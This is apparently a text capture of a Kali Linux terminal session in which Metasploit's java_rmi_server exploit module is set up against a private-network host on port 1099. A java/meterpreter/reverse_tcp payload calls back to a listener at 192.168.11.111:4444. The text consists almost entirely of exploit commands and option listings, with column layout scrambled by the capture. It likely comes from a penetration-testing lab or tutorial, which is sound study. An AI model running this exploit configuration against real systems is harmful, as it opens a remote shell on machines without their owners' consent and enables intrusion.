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kali@kali: ~
File Actions Edit View Help
   Id Name
     Generic (Java Payload)
View the full module info with the info, or info -d command.
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS ⇒ 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set HTTPDELAY 20
HTTPDELAY ⇒ 20
msf6 exploit(multi/misc/java_rmi_server) > show options
Module options (exploit/multi/misc/java_rmi_server):
   Name
             Current Setting Required Description
   HTTPDELAY 20
                              ves
                                        Time that the HTTP Server will wait for the payload request
             192.168.11.112 yes
                                        The target host(s), see https://docs.metasploit.com/docs/using-metaspl
   RHOSTS
                                        oit/basics/using-metasploit.html
   RPORT
             1099
                                        The target port (TCP)
                              yes
                                        The local host or network interface to listen on. This must be an addr
   SRVHOST
             0.0.0.0
                              yes
                                        ess on the local machine or 0.0.0.0 to listen on all addresses.
                                        The local port to listen on.
   SRVPORT
             8080
                              ves
                                        Negotiate SSL for incoming connections
   SSL
             false
                              no
                                        Path to a custom SSL certificate (default is randomly generated)
   SSLCert
                              no
   URIPATH
                                        The URI to use for this exploit (default is random)
                              no
Payload options (java/meterpreter/reverse_tcp):
   Name Current Setting Required Description
   LHOST 192.168.11.111 yes
                                    The listen address (an interface may be specified)
   LPORT 4444
                         yes
                                    The listen port
Exploit target:
   Id Name
   0 Generic (Java Payload)
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```





